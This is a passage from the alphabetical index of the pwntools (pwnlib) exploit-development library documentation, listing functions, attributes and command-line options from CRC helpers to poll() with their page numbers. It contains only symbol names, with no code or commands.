- `crc_12_umts()` (in module `pwnlib.util.crc`), 225
- `crc_13_bbc()` (in module `pwnlib.util.crc`), 225
- `crc_14_darc()` (in module `pwnlib.util.crc`), 226
- `crc_14_gsm()` (in module `pwnlib.util.crc`), 226
- `crc_15()` (in module `pwnlib.util.crc`), 227
- `crc_15_mpt1327()` (in module `pwnlib.util.crc`), 227
- `crc_16_aug_ccitt()` (in module `pwnlib.util.crc`), 228
- `crc_16_buypass()` (in module `pwnlib.util.crc`), 228
- `crc_16_ccitt_false()` (in module `pwnlib.util.crc`), 228

- `crc_16_cdma2000()` (in module `pwnlib.util.crc`), 229
 - `crc_16_cms()` (in module `pwnlib.util.crc`), 229
 - `crc_16_dds_110()` (in module `pwnlib.util.crc`), 230
 - `crc_16_dect_r()` (in module `pwnlib.util.crc`), 230
 - `crc_16_dect_x()` (in module `pwnlib.util.crc`), 230
 - `crc_16_dnp()` (in module `pwnlib.util.crc`), 231
 - `crc_16_en_13757()` (in module `pwnlib.util.crc`), 231
 - `crc_16_genibus()` (in module `pwnlib.util.crc`), 232
 - `crc_16_gsm()` (in module `pwnlib.util.crc`), 232
 - `crc_16_lj1200()` (in module `pwnlib.util.crc`), 233
 - `crc_16_maxim()` (in module `pwnlib.util.crc`), 233
 - `crc_16_mcrf4xx()` (in module `pwnlib.util.crc`), 233
 - `crc_16_opensafety_a()` (in module `pwnlib.util.crc`), 234
 - `crc_16_opensafety_b()` (in module `pwnlib.util.crc`), 234
 - `crc_16_profibus()` (in module `pwnlib.util.crc`), 235
 - `crc_16_riello()` (in module `pwnlib.util.crc`), 235
 - `crc_16_t10_dif()` (in module `pwnlib.util.crc`), 235
 - `crc_16_teledisk()` (in module `pwnlib.util.crc`), 236
 - `crc_16_tms37157()` (in module `pwnlib.util.crc`), 236
 - `crc_16_usb()` (in module `pwnlib.util.crc`), 237
 - `crc_24()` (in module `pwnlib.util.crc`), 237
 - `crc_24_ble()` (in module `pwnlib.util.crc`), 238
 - `crc_24_flexray_a()` (in module `pwnlib.util.crc`), 238
 - `crc_24_flexray_b()` (in module `pwnlib.util.crc`), 238
 - `crc_24_interlaken()` (in module `pwnlib.util.crc`), 239
 - `crc_24_lte_a()` (in module `pwnlib.util.crc`), 239
 - `crc_24_lte_b()` (in module `pwnlib.util.crc`), 240
 - `crc_30_cdma()` (in module `pwnlib.util.crc`), 240
 - `crc_31_philips()` (in module `pwnlib.util.crc`), 240
 - `crc_32()` (in module `pwnlib.util.crc`), 241
 - `crc_32_autosar()` (in module `pwnlib.util.crc`), 241
 - `crc_32_bzip2()` (in module `pwnlib.util.crc`), 242
 - `crc_32_mpeg_2()` (in module `pwnlib.util.crc`), 242
 - `crc_32_posix()` (in module `pwnlib.util.crc`), 243
 - `crc_32c()` (in module `pwnlib.util.crc`), 243
 - `crc_32d()` (in module `pwnlib.util.crc`), 243
 - `crc_32q()` (in module `pwnlib.util.crc`), 244
 - `crc_3_gsm()` (in module `pwnlib.util.crc`), 244
 - `crc_3_rohc()` (in module `pwnlib.util.crc`), 245
 - `crc_40_gsm()` (in module `pwnlib.util.crc`), 245
 - `crc_4_interlaken()` (in module `pwnlib.util.crc`), 245
 - `crc_4_itu()` (in module `pwnlib.util.crc`), 246
 - `crc_5_epc()` (in module `pwnlib.util.crc`), 246
 - `crc_5_itu()` (in module `pwnlib.util.crc`), 247
 - `crc_5_usb()` (in module `pwnlib.util.crc`), 247
 - `crc_64()` (in module `pwnlib.util.crc`), 248
 - `crc_64_go_iso()` (in module `pwnlib.util.crc`), 248
 - `crc_64_we()` (in module `pwnlib.util.crc`), 248
 - `crc_64_xz()` (in module `pwnlib.util.crc`), 249
 - `crc_6_cdma2000_a()` (in module `pwnlib.util.crc`), 249
 - `crc_6_cdma2000_b()` (in module `pwnlib.util.crc`), 250
 - `crc_6_darc()` (in module `pwnlib.util.crc`), 250
 - `crc_6_gsm()` (in module `pwnlib.util.crc`), 250
 - `crc_6_itu()` (in module `pwnlib.util.crc`), 251
 - `crc_7()` (in module `pwnlib.util.crc`), 251
 - `crc_7_rohc()` (in module `pwnlib.util.crc`), 252
 - `crc_7_ums()` (in module `pwnlib.util.crc`), 252
 - `crc_8()` (in module `pwnlib.util.crc`), 253
 - `crc_82_darc()` (in module `pwnlib.util.crc`), 253
 - `crc_8_autosar()` (in module `pwnlib.util.crc`), 253
 - `crc_8_cdma2000()` (in module `pwnlib.util.crc`), 254
 - `crc_8_darc()` (in module `pwnlib.util.crc`), 254
 - `crc_8_dvb_s2()` (in module `pwnlib.util.crc`), 255
 - `crc_8_ebu()` (in module `pwnlib.util.crc`), 255
 - `crc_8_gsm_a()` (in module `pwnlib.util.crc`), 255
 - `crc_8_gsm_b()` (in module `pwnlib.util.crc`), 256
 - `crc_8_i_code()` (in module `pwnlib.util.crc`), 256
 - `crc_8_itu()` (in module `pwnlib.util.crc`), 257
 - `crc_8_lte()` (in module `pwnlib.util.crc`), 257
 - `crc_8_maxim()` (in module `pwnlib.util.crc`), 258
 - `crc_8_opensafety()` (in module `pwnlib.util.crc`), 258
 - `crc_8_rohc()` (in module `pwnlib.util.crc`), 258
 - `crc_8_sae_j1850()` (in module `pwnlib.util.crc`), 259
 - `crc_8_wcdma()` (in module `pwnlib.util.crc`), 259
 - `crc_a()` (in module `pwnlib.util.crc`), 260
 - `critical()` (`pwnlib.log.Logger` method), 96
 - `current_device()` (in module `pwnlib.adb.adb`), 22
 - `cwd` (`pwnlib.tubes.process.process` attribute), 187
 - `cwd` (`pwnlib.tubes.ssh.ssh` attribute), 201
 - `cwd()` (in module `pwnlib.util.proc`), 304
 - `cycle()` (in module `pwnlib.util.itors`), 288
 - `cyclen()` (in module `pwnlib.util.itors`), 279
 - `cyclic()` (in module `pwnlib.util.cyclic`), 263
 - `cyclic_alphabet` (`pwnlib.context.ContextType` attribute), 43
 - `cyclic_find()` (in module `pwnlib.util.cyclic`), 264
 - `cyclic_metasploit()` (in module `pwnlib.util.cyclic`), 265
 - `cyclic_metasploit_find()` (in module `pwnlib.util.cyclic`), 265
 - `cyclic_size` (`pwnlib.context.ContextType` attribute), 43
- ## D
- `d()` (`pwnlib.memleak.MemLeak` method), 100
 - `data`
 - `pwn-hex` command line option, 16
 - `data` (`pwnlib.elf.corefile.Mapping` attribute), 75
 - `data` (`pwnlib.elf.elf.ELF` attribute), 60

`dd()` (in module `pwnlib.util.packing`), 296
`de_bruijn()` (in module `pwnlib.util.cyclic`), 266
`dealarm_shell()` (in module `pwnlib.util.misc`), 291
`DEBUG()` (in module `pwnlib.args`), 29
`debug()` (in module `pwnlib.gdb`), 88
`debug()` (`pwnlib.elf.corefile.Corefile` method), 71
`debug()` (`pwnlib.elf.elf.ELF` method), 54
`debug()` (`pwnlib.log.Logger` method), 95
`debug_assembly()` (in module `pwnlib.gdb`), 89
`debug_shellcode()` (in module `pwnlib.gdb`), 90
`default` (`pwnlib.timeout.Timeout` attribute), 180
`defaults` (`pwnlib.context.ContextType` attribute), 43
`degree()` (`pwnlib.util.crc.BitPolynom` method), 220
`delete_corefiles` (`pwnlib.context.ContextType` attribute), 43
`descendants()` (in module `pwnlib.util.proc`), 304
`describe()` (`pwnlib.rop.rop.ROP` method), 117
`device` (`pwnlib.context.ContextType` attribute), 44
`devices()` (in module `pwnlib.adb.adb`), 22
`devices()` (`pwnlib.protocols.adb.AdbClient` method), 105
`dir()` (in module `pwnlib.shellcraft.arm.linux`), 147
`dir()` (in module `pwnlib.shellcraft.i386.linux`), 157
`dirents()` (in module `pwnlib.util.getdents`), 276
`disable_nx()` (`pwnlib.elf.elf.ELF` method), 54
`disable_verity()` (in module `pwnlib.adb.adb`), 23
`disasm()` (in module `pwnlib.asm`), 31
`disasm()` (`pwnlib.elf.elf.ELF` method), 54
`distro` (`pwnlib.tubes.ssh.ssh` attribute), 201
`dotdict` (class in `pwnlib.elf.elf`), 65
`dotproduct()` (in module `pwnlib.util.itors`), 279
`download()` (`pwnlib.tubes.ssh.ssh` method), 193
`download_data()` (`pwnlib.tubes.ssh.ssh` method), 193
`download_dir()` (`pwnlib.tubes.ssh.ssh` method), 194
`download_file()` (`pwnlib.tubes.ssh.ssh` method), 194
`dpkg_search_for_binutils()` (in module `pwnlib.asm`), 33
`dropwhile()` (in module `pwnlib.util.itors`), 288
`dump()` (`pwnlib.dynelf.DynELF` method), 50
`dump()` (`pwnlib.rop.rop.ROP` method), 117
`dup()` (in module `pwnlib.shellcraft.amd64.linux`), 139
`dup()` (in module `pwnlib.shellcraft.thumb.linux`), 175
`dupio()` (in module `pwnlib.shellcraft.i386.linux`), 157
`dupio()` (in module `pwnlib.shellcraft.mips.linux`), 166
`dupsh()` (in module `pwnlib.shellcraft.amd64.linux`), 139
`dupsh()` (in module `pwnlib.shellcraft.i386.linux`), 157
`dupsh()` (in module `pwnlib.shellcraft.mips.linux`), 166
`dupsh()` (in module `pwnlib.shellcraft.thumb.linux`), 176
`dwarf` (`pwnlib.elf.elf.ELF` attribute), 61
`dynamic` (`pwnlib.dynelf.DynELF` attribute), 51
`dynamic_by_tag()` (`pwnlib.elf.elf.ELF` method), 54

`dynamic_string()` (`pwnlib.elf.elf.ELF` method), 54
`dynamic_value_by_tag()` (`pwnlib.elf.elf.ELF` method), 54
`DynELF` (class in `pwnlib.dynelf`), 49

E

`echo()` (in module `pwnlib.shellcraft.aarch64.linux`), 130
`echo()` (in module `pwnlib.shellcraft.amd64.linux`), 139
`echo()` (in module `pwnlib.shellcraft.arm.linux`), 147
`echo()` (in module `pwnlib.shellcraft.i386.linux`), 157
`echo()` (in module `pwnlib.shellcraft.mips.linux`), 166
`echo()` (in module `pwnlib.shellcraft.thumb.linux`), 176
`egghunter()` (in module `pwnlib.shellcraft.amd64.linux`), 139
`egghunter()` (in module `pwnlib.shellcraft.arm.linux`), 147
`egghunter()` (in module `pwnlib.shellcraft.i386.linux`), 157
`elf`
 `pwn-checksec` command line option, 13
 `pwn-disablenx` command line option, 15
 `pwn-elfpatch` command line option, 16
`ELF` (class in `pwnlib.elf.elf`), 53
`elf` (`pwnlib.elf.elf.Function` attribute), 65
`elf` (`pwnlib.tubes.process.process` attribute), 187
`elfclass` (`pwnlib.dynelf.DynELF` attribute), 51
`elfs` (`pwnlib.rop.rop.ROP` attribute), 119
`elftype` (`pwnlib.dynelf.DynELF` attribute), 51
`elftype` (`pwnlib.elf.elf.ELF` attribute), 61
`emit()` (`pwnlib.log.Handler` method), 96
`encode()` (in module `pwnlib.encoders.encoder`), 51
`endian` (`pwnlib.context.ContextType` attribute), 44
`endian` (`pwnlib.elf.elf.ELF` attribute), 61
`endianness` (`pwnlib.context.ContextType` attribute), 44
`endiannesses` (`pwnlib.context.ContextType` attribute), 44
`enhex()` (in module `pwnlib.util.fiddling`), 267
`entry` (`pwnlib.elf.elf.ELF` attribute), 61
`entrypoint` (`pwnlib.elf.elf.ELF` attribute), 61
`env` (`pwnlib.elf.corefile.Corefile` attribute), 72
`env` (`pwnlib.tubes.process.process` attribute), 187
`envp_address` (`pwnlib.elf.corefile.Corefile` attribute), 72
`epilog()` (in module `pwnlib.shellcraft.i386`), 149
`error`
 `pwn-errno` command line option, 16
`error()` (`pwnlib.log.Logger` method), 95
`exception()` (`pwnlib.log.Logger` method), 95
`exe`
 `pwn-template` command line option, 19
`exe` (`pwnlib.elf.corefile.Corefile` attribute), 72
`exe()` (in module `pwnlib.util.proc`), 304

`execstack` (*pwnlib.elf.elf.ELF attribute*), 61
`executable` (*pwnlib.elf.elf.ELF attribute*), 61
`executable` (*pwnlib.tubes.process.process attribute*), 187
`executable_segments` (*pwnlib.elf.elf.ELF attribute*), 61
`execute()` (*pwnlib.protocols.adb.AdbClient method*), 105
`execute_writes()` (*pwnlib.fmtstr.FmtStr method*), 79
`exists()` (*in module pwnlib.adb.adb*), 23
`expr()` (*in module pwnlib.util.safeeval*), 307
`extract_dependencies()` (*in module pwnlib.lib.sort*), 169

F

`failure()` (*pwnlib.log.Logger method*), 95
`failure()` (*pwnlib.log.Progress method*), 94
`family` (*pwnlib.tubes.listen.listen attribute*), 190
`family` (*pwnlib.tubes.server.server attribute*), 191
`fastboot()` (*in module pwnlib.adb.adb*), 23
`fault_addr` (*pwnlib.elf.corefile.Corefile attribute*), 72
`field()` (*pwnlib.memleak.MemLeak method*), 100
`field_compare()` (*pwnlib.memleak.MemLeak method*), 100
`file`
 pwn-phd command line option, 16
 pwn-pwnstrip command line option, 17
`file` (*pwnlib.elf.elf.ELF attribute*), 62
`fileno()` (*pwnlib.tubes.process.process method*), 185
`fileno()` (*pwnlib.tubes.serialtube.serialtube method*), 188
`fileno()` (*pwnlib.tubes.tube.tube method*), 205
`filter` (*in module pwnlib.util.itors*), 278
`filterfalse` (*in module pwnlib.util.itors*), 278
`find()` (*pwnlib.elf.corefile.Mapping method*), 74
`find_base()` (*pwnlib.dynelf.DynELF static method*), 51
`find_crc_function()` (*in module pwnlib.util.crc*), 221
`find_gadget()` (*pwnlib.rop.rop.ROP method*), 117
`find_min_hamming_in_range()` (*in module pwnlib.fmtstr*), 79
`find_min_hamming_in_range_step()` (*in module pwnlib.fmtstr*), 80
`find_module_addresses()` (*in module pwnlib.gdb*), 90
`find_ndk_project_root()` (*in module pwnlib.adb.adb*), 23
`findall()` (*in module pwnlib.util.lists*), 289
`findpeer()` (*in module pwnlib.lib.shellcraft.amd64.linux*), 139
`findpeer()` (*in module pwnlib.lib.shellcraft.i386.linux*), 158

`findpeer()` (*in module pwnlib.lib.shellcraft.mips.linux*), 166
`findpeer()` (*in module pwnlib.lib.shellcraft.thumb.linux*), 176
`findpeersh()` (*in module pwnlib.lib.shellcraft.amd64.linux*), 139
`findpeersh()` (*in module pwnlib.lib.shellcraft.i386.linux*), 158
`findpeersh()` (*in module pwnlib.lib.shellcraft.mips.linux*), 166
`findpeersh()` (*in module pwnlib.lib.shellcraft.thumb.linux*), 176
`findpeerstager()` (*in module pwnlib.lib.shellcraft.amd64.linux*), 139
`findpeerstager()` (*in module pwnlib.lib.shellcraft.i386.linux*), 158
`findpeerstager()` (*in module pwnlib.lib.shellcraft.thumb.linux*), 176
`fingerprint()` (*in module pwnlib.adb.adb*), 23
`fit()` (*in module pwnlib.util.packing*), 297
`fit()` (*pwnlib.elf.elf.ELF method*), 54
`flags` (*pwnlib.elf.corefile.Mapping attribute*), 75
`flat()` (*in module pwnlib.util.packing*), 297
`flat()` (*pwnlib.elf.elf.ELF method*), 54
`flatten()` (*in module pwnlib.util.itors*), 280
`FmtStr` (*class in pwnlib.fmtstr*), 78
`fmtstr_payload()` (*in module pwnlib.fmtstr*), 80
`fmtstr_split()` (*in module pwnlib.fmtstr*), 81
`forever` (*pwnlib.timeout.Timeout attribute*), 180
`forkbomb()` (*in module pwnlib.lib.shellcraft.amd64.linux*), 139
`forkbomb()` (*in module pwnlib.lib.shellcraft.arm.linux*), 147
`forkbomb()` (*in module pwnlib.lib.shellcraft.i386.linux*), 158
`forkbomb()` (*in module pwnlib.lib.shellcraft.mips.linux*), 166
`forkbomb()` (*in module pwnlib.lib.shellcraft.thumb.linux*), 176
`forkexit()` (*in module pwnlib.lib.shellcraft.aarch64.linux*), 130
`forkexit()` (*in module pwnlib.lib.shellcraft.amd64.linux*), 139
`forkexit()` (*in module pwnlib.lib.shellcraft.arm.linux*), 148
`forkexit()` (*in module pwnlib.lib.shellcraft.i386.linux*), 158
`forkexit()` (*in module pwnlib.lib.shellcraft.mips.linux*), 166
`forkexit()` (*in module pwnlib.lib.shellcraft.thumb.linux*), 176
`format()` (*pwnlib.log.Formatter method*), 96
`Formatter` (*class in pwnlib.log*), 96
`fortify` (*pwnlib.elf.elf.ELF attribute*), 62

`forward()` (in module `pwnlib.adb.adb`), 23
`from_assembly()` (`pwnlib.elf.elf.ELF` static method), 54
`from_bytes()` (`pwnlib.elf.elf.ELF` static method), 55
`fromsocket()` (`pwnlib.tubes.remote.remote` class method), 189
`Function` (class in `pwnlib.elf.elf`), 65
`function()` (in module `pwnlib.shellcraft.i386`), 149
`functions` (`pwnlib.elf.elf.ELF` attribute), 62

G

`gdbinit` (`pwnlib.context.ContextType` attribute), 44
`generatePadding()` (`pwnlib.rop.rop.ROP` method), 117
`generic_crc()` (in module `pwnlib.util.crc`), 221
`get()` (`pwnlib.tubes.buffer.Buffer` method), 181
`get()` (`pwnlib.tubes.ssh.ssh` method), 194
`get_build_id_offsets()` (in module `pwnlib.libcddb`), 91
`get_fill_size()` (`pwnlib.tubes.buffer.Buffer` method), 182
`get_machine_arch()` (`pwnlib.elf.elf.ELF` method), 55
`get_section_by_name()` (`pwnlib.elf.elf.ELF` method), 55
`get_segment_for_address()` (`pwnlib.elf.elf.ELF` method), 55
`getall()` (in module `pwnlib.useragents`), 219
`getenv()` (`pwnlib.elf.corefile.Corefile` method), 71
`getenv()` (`pwnlib.tubes.ssh.ssh` method), 194
`getifaddrs()` (in module `pwnlib.util.net`), 295
`getpc()` (in module `pwnlib.shellcraft.i386`), 150
`getpid()` (in module `pwnlib.shellcraft.amd64.linux`), 139
`getprop()` (in module `pwnlib.adb.adb`), 23
`gnu_hash()` (in module `pwnlib.dynelf`), 51
`got` (`pwnlib.elf.elf.ELF` attribute), 62
`group()` (in module `pwnlib.util.itors`), 280
`group()` (in module `pwnlib.util.lists`), 289
`groupby()` (in module `pwnlib.util.itors`), 288

H

`Handler` (class in `pwnlib.log`), 96
`heap()` (`pwnlib.dynelf.DynELF` method), 51
`hex`
 `pwn-disasm` command line option, 15
 `pwn-unhex` command line option, 19
`hexdump()` (in module `pwnlib.util.fiddling`), 268
`hexdump_iter()` (in module `pwnlib.util.fiddling`), 272
`hexii()` (in module `pwnlib.util.fiddling`), 273
`host` (`pwnlib.tubes.ssh.ssh` attribute), 201

I

`i386_to_amd64()` (in module `pwn-`

`lib.shellcraft.i386.freebsd`), 162
`i386_to_amd64()` (in module `pwnlib.shellcraft.i386.linux`), 158
`i386XorEncoder` (class in `pwnlib.encoders.i386.xor`), 52
`ifilter()` (in module `pwnlib.util.itors`), 288
`ifilterfalse()` (in module `pwnlib.util.itors`), 288
`imap()` (in module `pwnlib.util.itors`), 288
`indented()` (`pwnlib.log.Logger` method), 95
`index()` (`pwnlib.tubes.buffer.Buffer` method), 182
`inloop()` (in module `pwnlib.shellcraft.aarch64`), 125
`inloop()` (in module `pwnlib.shellcraft.amd64`), 133
`inloop()` (in module `pwnlib.shellcraft.arm`), 143
`inloop()` (in module `pwnlib.shellcraft.i386`), 150
`inloop()` (in module `pwnlib.shellcraft.thumb`), 171
`info()` (`pwnlib.log.Logger` method), 95
`info_once()` (`pwnlib.log.Logger` method), 95
`init()` (in module `pwnlib.term`), 179
`install()` (in module `pwnlib.adb.adb`), 23
`install_default_handler()` (in module `pwnlib.log`), 94
`interactive()` (in module `pwnlib.adb.adb`), 23
`interactive()` (`pwnlib.tubes.ssh.ssh` method), 194
`interactive()` (`pwnlib.tubes.ssh.ssh_channel` method), 202
`interactive()` (`pwnlib.tubes.tube.tube` method), 205
`interfaces()` (in module `pwnlib.util.net`), 295
`interfaces4()` (in module `pwnlib.util.net`), 295
`interfaces6()` (in module `pwnlib.util.net`), 295
`isdir()` (in module `pwnlib.adb.adb`), 23
`isEnabledFor()` (`pwnlib.log.Logger` method), 96
`isident()` (in module `pwnlib.args`), 30
`islice()` (in module `pwnlib.util.itors`), 288
`isprint()` (in module `pwnlib.util.fiddling`), 273
`iter_except()` (in module `pwnlib.util.itors`), 280
`iter_segments_by_type()` (`pwnlib.elf.elf.ELF` method), 55
`itoa()` (in module `pwnlib.shellcraft.amd64`), 133
`itoa()` (in module `pwnlib.shellcraft.arm`), 143
`itoa()` (in module `pwnlib.shellcraft.i386`), 150
`itoa()` (in module `pwnlib.shellcraft.thumb`), 172
`izip()` (in module `pwnlib.util.itors`), 288
`izip_longest()` (in module `pwnlib.util.itors`), 288

J

`jamcrc()` (in module `pwnlib.util.crc`), 260

K

`kermi` (in module `pwnlib.util.crc`), 260
`kernel` (`pwnlib.context.ContextType` attribute), 44
`kill()` (in module `pwnlib.shellcraft.amd64.linux`), 139
`kill()` (`pwnlib.protocols.adb.AdbClient` method), 106
`kill()` (`pwnlib.tubes.process.process` method), 185
`kill()` (`pwnlib.tubes.ssh.ssh_channel` method), 202

killparent() (in module lib.shellcraft.amd64.linux), 139
 killparent() (in module lib.shellcraft.arm.linux), 148
 killparent() (in module lib.shellcraft.i386.linux), 158
 killparent() (in module lib.shellcraft.mips.linux), 166
 killparent() (in module lib.shellcraft.thumb.linux), 176

L

label() (in module pwnlib.shellcraft.common), 149
 last_check() (in module pwnlib.update), 218
 ld_prefix() (in module pwnlib.qemu), 109
 leak() (pwnlib.tubes.process.process method), 185
 lexicographic() (in module pwnlib.util.itors), 281
 lhost (pwnlib.tubes.listen.listen attribute), 190
 lhost (pwnlib.tubes.server.server attribute), 191
 libc (pwnlib.dynelf.DynELF attribute), 51
 libc (pwnlib.elf.corefile.Corefile attribute), 72
 libc (pwnlib.elf.elf.ELF attribute), 62
 libc (pwnlib.tubes.process.process attribute), 187
 library (pwnlib.elf.elf.ELF attribute), 62
 libs (pwnlib.elf.elf.ELF attribute), 62
 libs() (pwnlib.tubes.process.process method), 186
 libs() (pwnlib.tubes.ssh.ssh method), 194
 line
 pwn-asm command line option, 12
 line() (in module pwnlib.encoders.encoder), 52
 link_map (pwnlib.dynelf.DynELF attribute), 51
 linker (pwnlib.elf.elf.ELF attribute), 62
 list() (pwnlib.protocols.adb.AdbClient method), 106
 listdir() (in module pwnlib.adb.adb), 24
 listen (class in pwnlib.tubes.listen), 189
 listen() (in module pwnlib.shellcraft.amd64.linux), 139
 listen() (in module pwnlib.shellcraft.mips.linux), 167
 listen() (in module pwnlib.shellcraft.thumb.linux), 176
 listen() (pwnlib.tubes.ssh.ssh method), 194
 listen_remote() (pwnlib.tubes.ssh.ssh method), 195
 loader() (in module pwnlib.shellcraft.aarch64.linux), 130
 loader() (in module pwnlib.shellcraft.amd64.linux), 139
 loader() (in module pwnlib.shellcraft.i386.linux), 158
 loader() (in module pwnlib.shellcraft.thumb.linux), 176
 loader_append() (in module lib.shellcraft.aarch64.linux), 130
 loader_append() (in module lib.shellcraft.amd64.linux), 139

pwn- loader_append() (in module pwn-lib.shellcraft.i386.linux), 158
 pwn- loader_append() (in module pwn-lib.shellcraft.thumb.linux), 176
 pwn- local() (pwnlib.context.ContextType method), 39
 local() (pwnlib.timeout.Timeout method), 180
 pwn- log() (pwnlib.log.Logger method), 96
 log_console (pwnlib.context.ContextType attribute), 45
 log_file (pwnlib.context.ContextType attribute), 45
 LOG_FILE() (in module pwnlib.args), 29
 log_level (pwnlib.context.ContextType attribute), 45
 LOG_LEVEL() (in module pwnlib.args), 29
 logcat() (in module pwnlib.adb.adb), 24
 Logger (class in pwnlib.log), 94
 lookahead() (in module pwnlib.util.itors), 281
 lookup() (pwnlib.dynelf.DynELF method), 51
 lport (pwnlib.tubes.listen.listen attribute), 190
 lport (pwnlib.tubes.server.server attribute), 191

M

make_atoms() (in module pwnlib.fmtstr), 81
 make_atoms_simple() (in module pwnlib.fmtstr), 82
 make_elf() (in module pwnlib.asm), 32
 make_elf_from_assembly() (in module pwn-lib.asm), 32
 make_packer() (in module pwnlib.util.packing), 298
 make_payload_dollar() (in module pwn-lib.fmtstr), 82
 make_unpacker() (in module pwnlib.util.packing), 299
 makedirs() (in module pwnlib.adb.adb), 24
 map (in module pwnlib.util.itors), 278
 Mapping (class in pwnlib.elf.corefile), 74
 mappings (pwnlib.elf.corefile.Corefile attribute), 72
 maps (pwnlib.elf.corefile.Corefile attribute), 72
 maps (pwnlib.elf.elf.ELF attribute), 62
 Maximum (class in pwnlib.timeout), 179
 maximum (pwnlib.timeout.Timeout attribute), 180
 mbruteforce() (in module pwnlib.util.itors), 278
 md5file() (in module pwnlib.util.hashes), 276
 md5filehex() (in module pwnlib.util.hashes), 276
 md5sum() (in module pwnlib.util.hashes), 276
 md5sumhex() (in module pwnlib.util.hashes), 277
 membot() (in module pwnlib.shellcraft.amd64.linux), 140
 memcpy() (in module pwnlib.shellcraft.aarch64), 125
 memcpy() (in module pwnlib.shellcraft.amd64), 133
 memcpy() (in module pwnlib.shellcraft.arm), 144
 memcpy() (in module pwnlib.shellcraft.i386), 150
 memcpy() (in module pwnlib.shellcraft.thumb), 172
 MemLeak (class in pwnlib.memleak), 97
 memory (pwnlib.elf.elf.ELF attribute), 62

merge_atoms_overlapping() (in module *pwnlib.fmtstr*), 82
merge_atoms_writesize() (in module *pwnlib.fmtstr*), 83
Message (class in *pwnlib.protocols.adb*), 108
metasploit_pattern() (in module *pwnlib.util.cyclic*), 266
migrate() (*pwnlib.rop.rop.ROP* method), 117
migrate_stack() (in module *pwnlib.shellcraft.amd64.linux*), 140
migrated (*pwnlib.rop.rop.ROP* attribute), 119
mkdir() (in module *pwnlib.adb.adb*), 24
mkdir_p() (in module *pwnlib.util.misc*), 291
mmap (*pwnlib.elf.elf.ELF* attribute), 62
mmap_rwx() (in module *pwnlib.shellcraft.amd64.linux*), 140
modbus() (in module *pwnlib.util.crc*), 261
more() (in module *pwnlib.ui*), 217
mov() (in module *pwnlib.shellcraft.aarch64*), 126
mov() (in module *pwnlib.shellcraft.amd64*), 133
mov() (in module *pwnlib.shellcraft.arm*), 144
mov() (in module *pwnlib.shellcraft.i386*), 151
mov() (in module *pwnlib.shellcraft.mips*), 163
mov() (in module *pwnlib.shellcraft.thumb*), 172
mprotect_all() (in module *pwnlib.shellcraft.i386.linux*), 158
msan (*pwnlib.elf.elf.ELF* attribute), 62

N

n() (*pwnlib.memleak.MemLeak* method), 100
naf() (in module *pwnlib.util.fiddling*), 273
name (*pwnlib.elf.corefile.Mapping* attribute), 75
name (*pwnlib.elf.elf.Function* attribute), 65
name() (in module *pwnlib.util.proc*), 305
native (*pwnlib.elf.elf.ELF* attribute), 62
negate() (in module *pwnlib.util.fiddling*), 273
newline (*pwnlib.tubes.tube.tube* attribute), 217
NOASLR() (in module *pwnlib.args*), 29
non_writable_segments (*pwnlib.elf.elf.ELF* attribute), 62
NoNewlines() (*pwnlib.memleak.MemLeak* static method), 98
NoNulls() (*pwnlib.memleak.MemLeak* static method), 98
nop() (in module *pwnlib.shellcraft.amd64*), 135
nop() (in module *pwnlib.shellcraft.arm*), 144
nop() (in module *pwnlib.shellcraft.i386*), 152
nop() (in module *pwnlib.shellcraft.mips*), 164
nop() (in module *pwnlib.shellcraft.thumb*), 173
noptrace (*pwnlib.context.ContextType* attribute), 46
NOPTRACE() (in module *pwnlib.args*), 29
normalize_writes() (in module *pwnlib.fmtstr*), 83
NOTERM() (in module *pwnlib.args*), 29

NoWhitespace() (*pwnlib.memleak.MemLeak* static method), 98
nth() (in module *pwnlib.util.itors*), 282
null() (in module *pwnlib.encoders.encoder*), 52
num_sections() (*pwnlib.elf.elf.ELF* method), 55
num_segments() (*pwnlib.elf.elf.ELF* method), 55
nx (*pwnlib.elf.elf.ELF* attribute), 63

O

offset
 pwn-elfpatch command line option, 16
offset_to_vaddr() (*pwnlib.elf.elf.ELF* method), 55
open() (in module *pwnlib.shellcraft.aarch64.linux*), 131
pwn-open_file() (in module *pwnlib.shellcraft.arm.linux*), 148
options() (in module *pwnlib.ui*), 217
ordlist() (in module *pwnlib.util.lists*), 290
os (*pwnlib.context.ContextType* attribute), 46
os (*pwnlib.elf.elf.ELF* attribute), 63
os (*pwnlib.tubes.ssh.ssh* attribute), 202
oses (*pwnlib.context.ContextType* attribute), 46
overlapping_atoms() (in module *pwnlib.fmtstr*), 83

P

p() (*pwnlib.memleak.MemLeak* method), 101
p16() (in module *pwnlib.util.packing*), 299
p16() (*pwnlib.elf.elf.ELF* method), 56
p16() (*pwnlib.memleak.MemLeak* method), 101
p32() (in module *pwnlib.util.packing*), 300
p32() (*pwnlib.elf.elf.ELF* method), 56
p32() (*pwnlib.memleak.MemLeak* method), 101
p64() (in module *pwnlib.util.packing*), 300
p64() (*pwnlib.elf.elf.ELF* method), 56
p64() (*pwnlib.memleak.MemLeak* method), 101
p8() (in module *pwnlib.util.packing*), 300
p8() (*pwnlib.elf.elf.ELF* method), 56
p8() (*pwnlib.memleak.MemLeak* method), 101
pack() (in module *pwnlib.util.packing*), 300
pack() (*pwnlib.elf.elf.ELF* method), 56
packages() (in module *pwnlib.adb.adb*), 25
packed (*pwnlib.elf.elf.ELF* attribute), 63
pad() (in module *pwnlib.util.itors*), 282
page_offset (*pwnlib.elf.corefile.Mapping* attribute), 75
pairwise() (in module *pwnlib.util.itors*), 283
parent() (in module *pwnlib.util.proc*), 305
parse_kconfig() (in module *pwnlib.elf.config*), 66
parse_ldd_output() (in module *pwnlib.util.misc*), 291
partition() (in module *pwnlib.util.lists*), 290
path (*pwnlib.elf.corefile.Mapping* attribute), 75
path (*pwnlib.elf.elf.ELF* attribute), 63

- `pause()` (in module `pwnlib.ui`), 217
- `pc` (`pwnlib.elf.corefile.Corefile` attribute), 73
- `perform_check()` (in module `pwnlib.update`), 218
- `permstr` (`pwnlib.elf.corefile.Mapping` attribute), 75
- `permutations()` (in module `pwnlib.util.itors`), 288
- `pid` (`pwnlib.elf.corefile.Corefile` attribute), 73
- `pid` (`pwnlib.tubes.ssh.ssh` attribute), 202
- `pid_by_name()` (in module `pwnlib.util.proc`), 305
- `pidmax()` (in module `pwnlib.shellcraft.i386.linux`), 159
- `pidof()` (in module `pwnlib.adb.adb`), 25
- `pidof()` (in module `pwnlib.util.proc`), 305
- `pie` (`pwnlib.elf.elf.ELF` attribute), 63
- `plt` (`pwnlib.elf.elf.ELF` attribute), 63
- `poll()` (`pwnlib.tubes.process.process` method), 186
